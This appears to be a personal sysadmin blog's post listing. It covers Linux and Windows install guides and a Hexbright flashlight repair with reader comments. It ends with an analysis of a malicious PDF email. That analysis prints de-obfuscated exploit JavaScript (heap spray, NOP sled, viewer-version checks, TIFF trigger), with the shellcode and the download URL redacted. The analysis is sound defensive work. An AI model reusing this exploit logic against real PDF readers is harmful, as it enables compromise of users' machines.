Software Engineering & Security Notes

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• 

  Nickolas Golubev 10:43 pm on June 22, 2019 Permalink | Reply  

  ZoneMinder 1.33.1 (master nightly) on Ubuntu 19.04 

  After upgrading to Ubuntu 19.04 I wanted to try the latest master snapshot of ZoneMinder 1.33.1 from the master ppa. Unfortunately there are older library dependencies for libx264-152 and libmp4v2 that are no longer available in the Ubuntu 19.04, disco repos. I found that I could easily just download the older .deb files and install without issue, which then allowed me to install the latest ZoneMinder 1.33.1 .

  For reference:
  apt-cache depends zoneminder |grep "libmp4v2|libx264"
Depends: libmp4v2-2
Depends: libx264-155
|Depends: <libx264-142>
|Depends: <libx264-148>
Depends: libx264-152

  There is nothing really special other for the other install steps on Ubuntu 19.04 and this guide for Ubuntu 18.04 can be followed for the other steps:
  
  https://wiki.zoneminder.com/Ubuntu_Server_18.04_64-bit_with_Zoneminder_1.32.x_the_easy_way

  This is how you can add the master repository with the latest ZoneMinder 1.33.1:
  
  sudo add-apt-repository ppa:iconnor/zoneminder-master
sudo apt update

  and this is how you would install the 2 older library dependencies:

  https://packages.ubuntu.com/bionic/amd64/libx264-152/download

  cd /tmp
wget http://mirrors.kernel.org/ubuntu/pool/universe/x/x264/libx264-152_0.152.2854+gite9a5903-2_amd64.deb
sudo apt install /tmp/libx264-152_0.152.2854+gite9a5903-2_amd64.deb

  https://ubuntu.pkgs.org/18.04/ubuntu-universe-amd64/libmp4v2-2_2.0.0~dfsg0-6_amd64.deb.html

  cd /tmp
wget http://archive.ubuntu.com/ubuntu/pool/universe/m/mp4v2/libmp4v2-2_2.0.0~dfsg0-6_amd64.deb
sudo apt install /tmp/libmp4v2-2_2.0.0~dfsg0-6_amd64.deb

  You should now see that the 2 packages are installed:
  
  apt list --installed |grep "libmp4v2|libx264"
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
libmp4v2-2/now 2.0.0~dfsg0-6 amd64 [installed,local]
libx264-152/now 2:0.152.2854+gite9a5903-2 amd64 [installed,local]
libx264-155/disco,now 2:0.155.2917+git0a84d98-2 amd64 [installed,automatic]

  After following the earlier guide and installing the two dependencies you can just do a:
  
  sudo apt install zoneminder

   

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• 

  Nickolas Golubev 8:13 pm on December 26, 2017 Permalink | Reply  

  Install all available SCCM updates and reboot remote Windows machines 

  Ever needed to install every patch available in SCCM to multiple Windows machines, but have no SCCM access to push installs?

  I found this excellent script made by Eswar Koneti:

  https://gallery.technet.microsoft.com/SCCM-Configmgr-Powershell-ebbb2c0e
  http://eskonr.com/2016/11/sccm-configmgr-powershell-script-to-install-software-updates-on-remote-clients/

  It reads the clients.txt file for a list of hostnames / IPS, connects to each one remotely and installs everything avaible in SCCM.

  I also made an additional tool in order to automatically reboot all machines that are included in clients.txt.

  With both scripts you can push all security updates to your windows machines and then reboot them.

  Running:

  *Edit clients.txt and put in the list of machines you would like to update and reboot. Either hostnames or IPs work.
  *Open a powershell prompt:
  *Set execution policy to allow for the execution of un-signed scripts.
  *Type “y” and press enter

  Set-ExecutionPolicy -scope Process -ExecutionPolicy Bypass

  *Now run the SCCM update script

  .\install_all_updates_in_sccm.ps1

  *Eswar’s script will create a InstallUpdates.log, check for errors.
  *Wait a few minutes for updates to install and then run the reboot all script, type “yes” to continue.

  .\reboot_all_machines.ps1

  *My script will create a reboot.log, check for errors.

  Download here: sccm_all_updates_and_reboot.zip

   
• 

  Nickolas Golubev 11:50 pm on December 20, 2017 Permalink | Reply  

  Fixing a Hexbright 

  The HexBright came out as a KickStarter project several years ago. The light features a user programmable Atmega168, solid aluminum body, CREE XM-L U2 LED, accelerometer and temperature sensors. Since the lights are no longer available and are of such high quality I have had the pleasure of undertaking the repair of two of them.

  There are 4 common problems with the HexBright flashlight:.

  1) Battery will not charge and flash light does not turn on after being left off in storage for a long period of time. This is caused by the battery draining to the point where the internal protection circuitry on the battery will not allow for it to be charged back up.
  — symptom: flash light does not turn on
  
  2) Dropping the flashlight and causing the internal 16mhz SMD crystal to break.
  — symptom: flash light does not turn on
  
  3) USB connector breaking off of the board.
  — symptom: can not charge or connect flashlight via USB to computer
  
  4) Reverse battery insertion. With no reverse polarity protection this can destroy many things.
  –symptom: flash light does not turn on, battery was inserted the wrong way, magic smoke.

  The solutions:

  1) The battery is the easiest to replace. The LGABD11865 18650 D1 3000mAh is a good fit and offers on-board protection. In this case it is good to remove the 2 screws holding the battery spacer in place, drop the battery in and then put the spacer back in. If you do not do this the battery is too hard to wedge in and the insulation on it can be damaged.

  

  2) The crystal is probably the second easiest to replace. These can be had very cheap on eBay 10PCS 16M 16.000M 16MHz 16.000MHz Passive Crystal 3225 3.2mm×2.5mm SMD-4PIN You can use a slightly smaller crystal than originally came with the flashlight as the pads extend out quite far.

  You will need hot air and flux to remove the old crystal and replace it.

  

  

  

  3) The connector may need to be fully replaced or the pads may need to just be re connected. This is a delicate procedure as hot air can melt plastic. Plenty of flux helps. With my specific case the pads just needed to be reconnected with the pins. A glob of solder and subsequent solder wick did the job.

  4) This is the most complex issue to fix. Because there is no reverse polarity protection on the light I found that 3 ICs were destroyed on the board and 2 pads under the LED driver IC were burned. The parts can be bought on either eBay or DigiKey.

  1) TPS63020DSJR, LED Driver IC3
  

  2) MIC5353-3.3YMT-TR, Voltage regulator IC7
  

  3) Mcp73831t-2Ac, Lion charge controller IC5
  

  Hot air and plenty of flux was required to remove the broken ICs. The LED and leads should be removed from the board so that the board can be worked on easier. To repair the 2 broken leads on the LED driver copper tape was needed as well as liquid solder to re-tin the pads after clean up.

  

  

  All fixed:

  

  Nickolas Golubev, bachakil, Nathan H, and 4 others are discussing. Toggle Comments

   
  • 

    nobody 10:35 pm on May 3, 2018 Permalink | Reply

    it’s not a 16mhz xtal to repair either v1 or v2 boards (2 pad or 4 pad crystal) it’s 8mhz.

  • 

    Wesley Nixon 8:03 pm on March 3, 2019 Permalink | Reply

    Any chance you might be able to fix another of these? Was testing some extra batteries in my beloved Flex and put one in backwards like a dope 🙁 I can solder, but this size is beyond what my eyes and 42 year old nerves can handle. Time, materials, something extra for your troubles, you can just about name your price as a love this light!

    • 

      Nickolas Golubev 8:15 pm on May 9, 2019 Permalink | Reply

      Sure, I could do that… I believe I still have components left over. Send me an email. nick _a-t_ golubev.org

  • 

    Drew S 2:10 am on May 18, 2019 Permalink | Reply

    Thanks for this post. I’ll be bookmarking it for later reference. So far the only part of my HexBright that’s needed repair or replacement is the o-ring.

  • 

    Matthew 7:01 am on August 14, 2019 Permalink | Reply

    I have a much-beloved hexbright which I dropped and killed. I suspect, thanks to your helpful faq, the oscillator is the problem. I don’t have the tools for the job; would you be willing to repair it for a fee? I would very much like to get it working again so I can give it to my son as a way to encourage learning programming. The accelerometer makes it ideal for kids fiddling! It would be very much appreciated.

    • 

      Nickolas Golubev 9:27 am on October 28, 2019 Permalink | Reply

      Sure, shoot me an email.

  • 

    Nathan H 9:44 pm on August 29, 2019 Permalink | Reply

    Nick, one of my Junior Sailors saw my disassembled flashlight on the table and just stuck the battery in backwards. I found this page via an angry google search looking for advice. I know i only paid $60 on the kickstarter for the thing but i hecking love this light. Its been around the world with me a couple times now and i just don’t want to let it go. Can i compensate you for a repair?

    • 

      Nickolas Golubev 9:28 am on October 28, 2019 Permalink | Reply

      Sure, shoot me an email.

  • 

    bachakil 1:09 am on October 28, 2019 Permalink | Reply

    My flex is locked some how and you are the only place I’ve found with any talk of this light. the battery is charged and when I push the button it blinks red but no light is turning on. When it is fully charged it shows me the green button. PLEASE HELP!

    • 

      Nickolas Golubev 9:29 am on October 28, 2019 Permalink | Reply

      Sure, shoot me an email. nick _a-t_ golubev.org

• 

  Nickolas Golubev 11:12 pm on December 20, 2017 Permalink | Reply  

  Hexbright schematics 

  This is in relation to the next post. These were found while searching the internet on: https://imgur.com/a/WYuPm

  

  

  

  

  

   
• 

  Nickolas Golubev 11:15 pm on January 27, 2014 Permalink | Reply
  Tags: admin ( 2 ), linux, open source, rdp, rhel ( 2 ), rhel6 ( 2 ), xrdp   

  Installing XRDP onto RHEL6 / Red Hat Enterprise Server 

  I was told by a senior colleague that XRDP (http://sourceforge.net/projects/xrdp/) is a great way to remotely connect to your Linux servers through windows remote desktop protocol. It extends an XOrg session through through VNC and then the RDP. Here is how you can get it working on RHEL6!
  
sudo yum install gcc make pam-devel openssl-devel vnc-server autoconf automake libtool libX11-devel libXfixes-devel


wget http://downloads.sourceforge.net/project/xrdp/xrdp/0.6.1/xrdp-v0.6.1.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fxrdp%2F%3Fsource%3Ddirectory&ts=1390846301&use_mirror=softlayer-ams


tar zxvf xrdp-v0.6.1.tar.gz
cd xrdp-v0.6.1
./bootstrap
./configure
make
sudo make install

  Add user(s) to the 100, “users” group to allow them to login via RDP
  
sudo nano /etc/group

  Edit iptables to permit inbound RDP
  
sudo nano /etc/sysconfig/iptables

  add
  
-F INPUT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 3389 -j ACCEPT


sudo service iptables restart

  Make it a little more secure by enabling 128 bit 2-way encryption
  
sudo nano /etc/xrdp/xrdp.ini

  Change crypt_level=low to crypt_level=high

  Generate a new RSA key
  
sudo /usr/local/bin/xrdp-keygen xrdp auto

  Start XRDP up and then try and connect to it using remote desktop client in Windows
  
sudo /etc/xrdp/xrdp.sh start

  Finally make XRDP auto start as a service.
  
sudo ln -s /etc/xrdp/xrdp.sh /etc/init.d/xrdp
sudo chkconfig --add xrdp
sudo chkconfig xrdp on
sudo service xrdp start


   
• 

  Nickolas Golubev 7:36 pm on December 27, 2013 Permalink | Reply  

  Installing XSpice (xf86-video-qxl-0.1.0) onto Redhat Enterprise Server 6 RHEL6 

  I have been working on getting XSpice enabled on x64 RHEL6. XSpice is an X11 driver that allows for remote connections much like VNC. This install is not trivial as XSpice is still an experimental product so there are only packaged / repoed versions of it for Fedora Core.

  Firstly RHEL optional RPMS must be enabled

  #nano /etc/yum.repos.d/redhat.repo

  enable rhel-6-server-optional-rpms

  Now install a bunch of packages.

  #yum install kdebase
#yum install xorg*
#yum install spice-server-devel
#yum install python-argparse
#yum install xorg-x11-util-macros*
#yum install spice-server-devel spice-protocol

  Now download / make / install randr:

  #wget http://cgit.freedesktop.org/xorg/driver/xf86-video-qxl/snapshot/wip/randr12.v1.tar.gz
#tar zxvf randr12.v1.tar.gz
#cd wip/randr12.v1
#./autogen.sh
#./configure
#make install

  Now get xf86-video-qxl-0.1.1 and xf86-video-qxl-0.1.0

  #wget http://cgit.freedesktop.org/xorg/driver/xf86-video-qxl/snapshot/xf86-video-qxl-0.1.1.tar.gz
#tar zxvf xf86-video-qxl-0.1.1.tar.gz

  #wget http://cgit.freedesktop.org/xorg/driver/xf86-video-qxl/snapshot/xf86-video-qxl-0.1.0.tar.gz
#tar zxvf xf86-video-qxl-0.1.0.tar.gz

  Compile the 0.1.0 version (the 0.1.1 would not configure / make due to a library dependency issue with RHEL6)

  #cd xf86-video-qxl-0.1.0
#autoreconf -i && ./configure --enable-xspice && make
#make install
#cp src/.libs/spiceqxl_drv.so /usr/lib64/xorg/modules/drivers/

  I copied the XSpice startup script and X11 config from xf86-video-qxl-0.1.1 because it has more startup options yet is backwards compatible with xf86-video-qxl-0.1.0

  #cd ..
#cp xf86-video-qxl-0.1.1/scripts/Xspice /home/normal_user_account/
#cp xf86-video-qxl-0.1.1/examples/spiceqxl.xorg.conf.example /etc/X11/spiceqxl.xorg.conf
chown normaluser.normaluser /home/normal_user_account/Xspice


  Now add iptable rules if you have iptables enabled

  #nano /etc/sysconfig/iptables
-F INPUT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 5900:5950 -j ACCEPT
#service iptables restart

  Now drop back to a normal, non-root account and run the XSpice script:
  
#exit
#cd ~
#./Xspice --port 5903 :4.0 --xsession /usr/bin/startkde --disable-ticketing

  I am starting a KDE session instead of a GNOME because there seems to be a bug preventing GNOME from working with Xspice (https://bugzilla.redhat.com/show_bug.cgi?id=970622)

  Warning:
  Do not run this as root! there is no password and it should just be used for testing unless you enable stronger authentication.

  You can now connect using the virt-viewer client (http://www.spice-space.org/download.html)

   
• 

  Nickolas Golubev 10:35 pm on December 5, 2013 Permalink | Reply
  Tags: admin ( 2 ), java, jdk, maven, rhel ( 2 ), rhel6 ( 2 )   

  Installing MAVEN on Red Hat Enteprise Server 6.x (rhel6) 

  Just had to install maven on a rhel6 box… not sure why it is not in the yum / up2date repo.

  First you need JDK7.x:

  get it at: http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html

  “Linux x64 116.91 MB jdk-7u45-linux-x64.rpm”

  install the RPM using

  rpm -Uvh jdk-7u45-linux-x64.rpm

  then remove openJRE from the alternatives list:

  alternatives --list java
alternatives --remove java /usr/lib/jvm/jre-1.7.0-openjdk.x86_64/bin/java

  Double check the java version:

  java -version

  It should say:
  java version "1.7.0_45"
Java(TM) SE Runtime Environment (Build 1.7.0_45-b18)
  …

  Now go to the Maven site:

  and get the latest version of 2.x or 3.x (using 2.2.1 here)

  wget http://apache.osuosl.org/maven/maven-2/2.2.1/binaries/apache-maven-2.2.1-bin.tar.gz

  and install:
  tar zxvf apache-maven-2.2.1-bin.tar.gz
mv apache-maven-2.2.1 /opt/
ln -s /opt/apache-maven-2.2.1 /opt/maven
nano /etc/profile.d/custom.sh

  paste this:

  #!/bin/bash
export JAVA_HOME=/usr/java/latest
export MAVEN_HOME=/opt/maven
export M2_HOME=$MAVEN_HOME
export PATH=$PATH:$MAVEN_HOME/bin

  -save (ctrl-o)

  -new session

  test:

  mvn --version

  Should say:
  
Apache Maven 2.2.1 …

   
• 

  Nickolas Golubev 10:27 pm on December 4, 2013 Permalink | Reply
  Tags: import, move, wordpress   

  Just moved the whole site from blogger.com to a wordpress site on my own hosting provider. Seems like a smooth transition!

   
• 

  Nickolas Golubev 3:02 am on March 6, 2013 Permalink | Reply  

  De-Crappify Ubuntu 12.10 (Quantal Quetzal) and remove Unity / Lenses / Amazon / Etc… 

  I have not used Ubuntu in a couple of versions and just installed Ubuntu 12.10 (Quantal Quetzal) i386 as a fresh install.

  I was mortified by the amount of junk bundled with this new version including Amazon shopping ad integration. Check out http://yro.slashdot.org/story/12/09/24/1446220/shuttleworth-trust-us-were-trying-to-make-shopping-better for more info on Ubuntu’s take on this.

  Long story short, it had to be purged!

  Here is the script (to be run as root) I came up with to remove all the new junk and install back GNOME.

  
#!/bin/bash
apt-get --yes purge gnome-control-center-signon
apt-get --yes purge unity unity-2d unity-2d-places unity-2d-panel unity-2d-spread
apt-get --yes purge unity-asset-pool unity-services unity-lens-* unity-scope-*
apt-get --yes purge liboverlay-scrollbar*
apt-get --yes purge appmenu-gtk appmenu-gtk3 appmenu-qt
apt-get --yes purge firefox-globalmenu thunderbird-globalmenu
apt-get --yes purge unity-2d-common unity-common
apt-get --yes purge libunity-misc4 libunity-core-5*
apt-get --yes purge ubuntuone-client python-ubuntuone-storage*
add-apt-repository ppa:gnome3-team/gnome3 && apt-get -f update
apt-get --yes -f install gnome-shell gnome-tweak-tool gnome-session-fallback
rm -rf /usr/share/applications/ubuntu-amazon-default.desktop
rm -rf /usr/share/applications/UbuntuOneMusiconeubuntucom.desktop

  Secondly to remove the Guest login and Remote login options from the login screen (a security issue in my opinion) run this:
  
#!/bin/bash
/usr/lib/lightdm/lightdm-set-defaults --allow-guest false --show-remote-login false

  And now you have a pretty decent new version of Ubuntu that is not sending your personal data back to Amazon.

   
• 

  Nickolas Golubev 10:59 pm on January 28, 2013 Permalink | Reply  

  Decoding a PDF Virus E-Mail 

  Today I received a malicious email via gmail.

  Title: “Check this. It might be useful for u.”
  From: XXXX@aol.com via mx.aol.com 11:55 AM (2 hours ago) to Nick

  With some garbled HTML data in the text area and a MIME PDF attachment “621624.pdf”

  The email came from a someone who must have had me on their address book as I communicated with them previously years ago.

  Of course I had to investigate and uploaded the pdf to jeek.org for further analysis.

  http://jsunpack.jeek.org/?report=4696a30d0b4b840770048971815fa6f85840a960

  The PDF contained a hidden javascript package which was further obfuscated.

  After manually de-obfuscating the code I came up with:

  var encoded = "a3tf31jre0........." (redacted)
var decode1 = encoded.replace(/a3tf31jre/g,"%");
var decoded = unescape(decode1);

  The encoded string breaks out to:

  var j_IgC = [31, 31, 15, 23];

function _k_m()
{
return app;
}

function _b_(xVgFqV)
{
var ___N = "";
___N = unescape(xVgFqV);
return ___N;
}

function get_ver()
{
var ver = _k_m().viewerVersion.toString();
ver = ver.replace(".", "");
while (ver.length < 4)
{
ver += "0";
}
ver = parseInt(ver, 10);
return ver;
}

function make_block(xVgFqV, len)
{
while (xVgFqV.length * 2 < len)
{
xVgFqV += xVgFqV;
}
xVgFqV = xVgFqV.substring(0, len/ 2);
return xVgFqV;
}

  function heap_spray3(scode)
{
scode = _b_(scode);
var sclen = scode.length * 2;
var fasdds = _b_("%u9090");
var spray = make_block(fasdds,0x2000 - sclen);
var block = scode + spray;
block = make_block(block,0x80000 - 0x40);
for (var i = 0;i<0x190;i ++)
{
j_IgC[i] = block.substr(0,block.length - 1) + fasdds;
}
return;
}

function make_str(xVgFqV,len)
{
while (xVgFqV.length < len){ xVgFqV += xVgFqV; }
xVgFqV = xVgFqV.substring(0, len);
return xVgFqV;
}

function num2hex(num)
{
var xVgFqV = num.toString(16);
var len = xVgFqV.length;
var ret = (len % 2) ? "0" + xVgFqV : xVgFqV;
return ret;
}

function str2uni(xVgFqV)
{
var ret = "";
for (var i = 0;i < xVgFqV.length;i += 2)
{
ret += "%u";
ret += num2hex(xVgFqV.charCodeAt(i + 1));
ret += num2hex(xVgFqV.charCodeAt(i));
}
return ret;
}

function hex2str(hex)
{
var ret = "";
for (var i = 0;i < hex.length;i += 2) { var b = hex.substr(i,2); var num = parseInt(b,16); ret += String.fromCharCode(num); } return ret; } exploit(); function exploit() { var ver = get_ver(); if (ver >= 8000)
{
var tiff = "SUkqADggAABB";
var nops = make_str("QUFB",0x2ae8);
var start "..."; (redacted)
var foot = "";
var sc_hex = "";

if (ver < 8201)
{
foot = "..."; (redacted)
var sc_hex = "..."; (redacted)
}
else
{
foot = "..."; (redacted)
sc_hex = "..."; (redacted)
}

if (foot.length)
{
var ret = [tiff,nops,start,foot].join("");
var sc_str = hex2str(sc_hex);
var scode = str2uni(sc_str);
heap_spray3(scode);
pwzh6lr.rawValue = ret;
}
}
}

  After the PDF viewer is “heap sprayed” ( http://en.wikipedia.org/wiki/Heap_spraying ) the exploit payload that is injected goes out to download http://earthexplore.com/PDFS/XXXXXXX.exe (redacted). I have not analyzed the executable it self but would imagine that it is some sort of a trojan.